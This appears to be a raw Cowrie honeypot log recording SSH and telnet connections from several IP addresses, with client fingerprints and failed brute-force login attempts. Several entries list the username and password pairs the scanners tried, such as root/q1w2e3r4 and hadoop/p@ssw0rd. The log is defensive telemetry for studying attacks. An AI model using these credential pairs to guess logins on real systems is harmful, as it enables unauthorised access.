{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:50.634133Z","src_ip":"85.214.154.50","session":"d7f8a41f28b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:50.732335Z","src_ip":"85.214.154.50","session":"d7f8a41f28b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blockfi456","message":"login attempt [root/blockfi456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:51.014128Z","src_ip":"85.214.154.50","session":"d7f8a41f28b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":50734,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7e4287bf23","protocol":"ssh","message":"New connection: 190.244.39.224:50734 (159.203.135.109:22) [session: 7b7e4287bf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:51.413807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:51.417550Z","src_ip":"190.244.39.224","session":"7b7e4287bf23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:51.589508Z","src_ip":"190.244.39.224","session":"7b7e4287bf23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:52.109299Z","src_ip":"85.214.154.50","session":"d7f8a41f28b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5rdxCFT^","message":"login attempt [root/5rdxCFT^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:52.314236Z","src_ip":"190.244.39.224","session":"7b7e4287bf23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:37:53.492215Z","src_ip":"190.244.39.224","session":"7b7e4287bf23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55922,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7425fe4680e","protocol":"telnet","message":"New connection: 170.64.224.25:55922 (159.203.135.109:23) [session: a7425fe4680e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:06.757979Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55930,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae641416a545","protocol":"telnet","message":"New connection: 170.64.224.25:55930 (159.203.135.109:23) [session: ae641416a545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:07.260204Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":59628,"dst_ip":"159.203.135.109","dst_port":22,"session":"55ec0e1f61cb","protocol":"ssh","message":"New connection: 143.20.185.207:59628 (159.203.135.109:22) [session: 55ec0e1f61cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:16.400928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:16.404388Z","src_ip":"143.20.185.207","session":"55ec0e1f61cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:16.519854Z","src_ip":"143.20.185.207","session":"55ec0e1f61cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#8VCPU32GBAMD","message":"login attempt [root/RASYAXINSA#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:16.883413Z","src_ip":"143.20.185.207","session":"55ec0e1f61cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:18.001040Z","src_ip":"143.20.185.207","session":"55ec0e1f61cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:22.606463Z","src_ip":"8.210.75.243","session":"3c4f77d7bfba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.614143133163452,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:36.371988Z","src_ip":"170.64.224.25","session":"a7425fe4680e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":59148,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcde8e73a311","protocol":"ssh","message":"New connection: 194.113.233.25:59148 (10.17.0.5:22) [session: bcde8e73a311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:43.900264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:43.903718Z","src_ip":"194.113.233.25","session":"bcde8e73a311","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:43.992440Z","src_ip":"194.113.233.25","session":"bcde8e73a311","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dimondimon","message":"login attempt [root/dimondimon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:44.262270Z","src_ip":"194.113.233.25","session":"bcde8e73a311","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.37915349006653,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:44.639252Z","src_ip":"170.64.224.25","session":"ae641416a545","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:45.353954Z","src_ip":"194.113.233.25","session":"bcde8e73a311","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48510,"dst_ip":"10.17.0.5","dst_port":22,"session":"245504e0a16d","protocol":"ssh","message":"New connection: 8.210.75.243:48510 (10.17.0.5:22) [session: 245504e0a16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:50.039482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:50.042195Z","src_ip":"8.210.75.243","session":"245504e0a16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:55.163964Z","src_ip":"8.210.75.243","session":"d292d9c2d497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:58.469612Z","src_ip":"8.210.75.243","session":"245504e0a16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49100,"dst_ip":"159.203.135.109","dst_port":23,"session":"729bfe832c10","protocol":"telnet","message":"New connection: 170.64.224.25:49100 (159.203.135.109:23) [session: 729bfe832c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:38:59.629776Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":38986,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd7dd5ebc473","protocol":"ssh","message":"New connection: 159.65.58.200:38986 (159.203.135.109:22) [session: cd7dd5ebc473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:10.607683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:11.025258Z","src_ip":"159.65.58.200","session":"cd7dd5ebc473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:11.028258Z","src_ip":"159.65.58.200","session":"cd7dd5ebc473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sevdim","password":"123456","message":"login attempt [sevdim/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:12.320236Z","src_ip":"159.65.58.200","session":"cd7dd5ebc473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:13.592028Z","src_ip":"159.65.58.200","session":"cd7dd5ebc473","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:14.022583Z","src_ip":"8.210.75.243","session":"245504e0a16d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42238,"dst_ip":"10.17.0.5","dst_port":22,"session":"559c91becd88","protocol":"ssh","message":"New connection: 91.92.40.4:42238 (10.17.0.5:22) [session: 559c91becd88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:17.153347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:17.157154Z","src_ip":"91.92.40.4","session":"559c91becd88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:17.238116Z","src_ip":"91.92.40.4","session":"559c91becd88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"p@ssw0rd","message":"login attempt [hadoop/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:17.488096Z","src_ip":"91.92.40.4","session":"559c91becd88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:18.571658Z","src_ip":"91.92.40.4","session":"559c91becd88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.3","message":"Connection lost after 29.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:19.294706Z","src_ip":"8.210.75.243","session":"245504e0a16d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.17248821258545,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:21.802168Z","src_ip":"170.64.224.25","session":"729bfe832c10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.39.204.145","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ee0b75077ff","protocol":"ssh","message":"New connection: 185.39.204.145:38532 (159.203.135.109:22) [session: 4ee0b75077ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:34.761483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:34.765843Z","src_ip":"185.39.204.145","session":"4ee0b75077ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:39:34.883652Z","src_ip":"185.39.204.145","session":"4ee0b75077ff","protocol":"ssh"}
